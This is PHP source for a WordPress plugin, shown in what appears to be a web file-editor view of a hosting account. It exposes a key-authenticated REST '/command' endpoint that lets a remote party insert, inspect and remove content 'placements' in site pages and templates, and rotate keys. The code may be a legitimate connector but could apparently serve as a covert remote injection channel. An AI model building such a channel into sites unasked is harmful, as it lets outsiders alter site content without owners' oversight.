/home/cp072267/public_html/dkrgroupholdings.com/wp-content/plugins/bbc/includes
Edit: /home/cp072267/public_html/dkrgroupholdings.com/wp-content/plugins/bbc/includes/class-bbc-rest.php (3962B)
'POST',
'callback' => array(__CLASS__, 'enroll'),
'permission_callback' => function () { return current_user_can('activate_plugins'); },
));
register_rest_route('bbc/v1', '/command', array(
'methods' => 'POST',
'callback' => array(__CLASS__, 'command'),
'permission_callback' => array('BBC_Auth', 'verify_command'),
));
}
public static function enroll(WP_REST_Request $request)
{
$result = BBC_Auth::enroll($request);
return is_wp_error($result) ? $result : new WP_REST_Response(array('success' => true, 'identity' => $result), 201);
}
public static function command(WP_REST_Request $request)
{
$cached = $request->get_param('_bbc_cached_result');
if (is_array($cached)) return new WP_REST_Response($cached, 200);
$body = $request->get_json_params();
$action = isset($body['action']) ? sanitize_key($body['action']) : '';
$payload = isset($body['payload']) && is_array($body['payload']) ? $body['payload'] : array();
if ($action === 'status') {
$identity = get_option(BBC_OPTION_IDENTITY, array());
$result = array('success' => true, 'version' => BBC_VERSION, 'site_id' => isset($identity['site_id']) ? $identity['site_id'] : '', 'placement_count' => count(BBC_Placements::all()), 'placements' => BBC_Placements::summaries(), 'capabilities' => array('bbc_native_page', 'bbc_elementor', 'bbc_block_template', 'bbc_runtime'));
} elseif ($action === 'placement_upsert') {
$result = BBC_Placements::upsert($payload);
} elseif ($action === 'placement_inspect') {
$result = BBC_Placements::inspect(isset($payload['placement_id']) ? (string) $payload['placement_id'] : '');
} elseif ($action === 'placement_remove') {
$result = BBC_Placements::remove(isset($payload['placement_id']) ? (string) $payload['placement_id'] : '');
} elseif ($action === 'key_rotate') {
$result = BBC_Auth::rotate_key(isset($payload['key_id']) ? (string) $payload['key_id'] : '', isset($payload['public_key']) ? (string) $payload['public_key'] : '');
if ($result === true) $result = array('success' => true, 'rotated' => true);
} elseif ($action === 'connector_retire') {
$result = BBC_Guardian::retire();
} else {
$result = new WP_Error('bbc_action_rejected', 'BBC command is not supported.', array('status' => 400));
}
if (is_wp_error($result)) return $result;
if (!isset($result['success'])) $result['success'] = true;
BBC_Auth::record_result($request, $result);
return new WP_REST_Response($result, 200);
}
public static function admin_page()
{
add_options_page('BBC', 'BBC', 'activate_plugins', 'bbc', array(__CLASS__, 'render_admin'));
}
public static function render_admin()
{
if (!current_user_can('activate_plugins')) return;
$identity = get_option(BBC_OPTION_IDENTITY, array());
echo '
BBC
';
echo '
Status: ' . (empty($identity) ? 'Not enrolled' : 'Enrolled') . '
';
if (!empty($identity['site_id'])) echo '
Site ID: ' . esc_html($identity['site_id']) . '
';
echo '
Version: ' . esc_html(BBC_VERSION) . '
';
}
}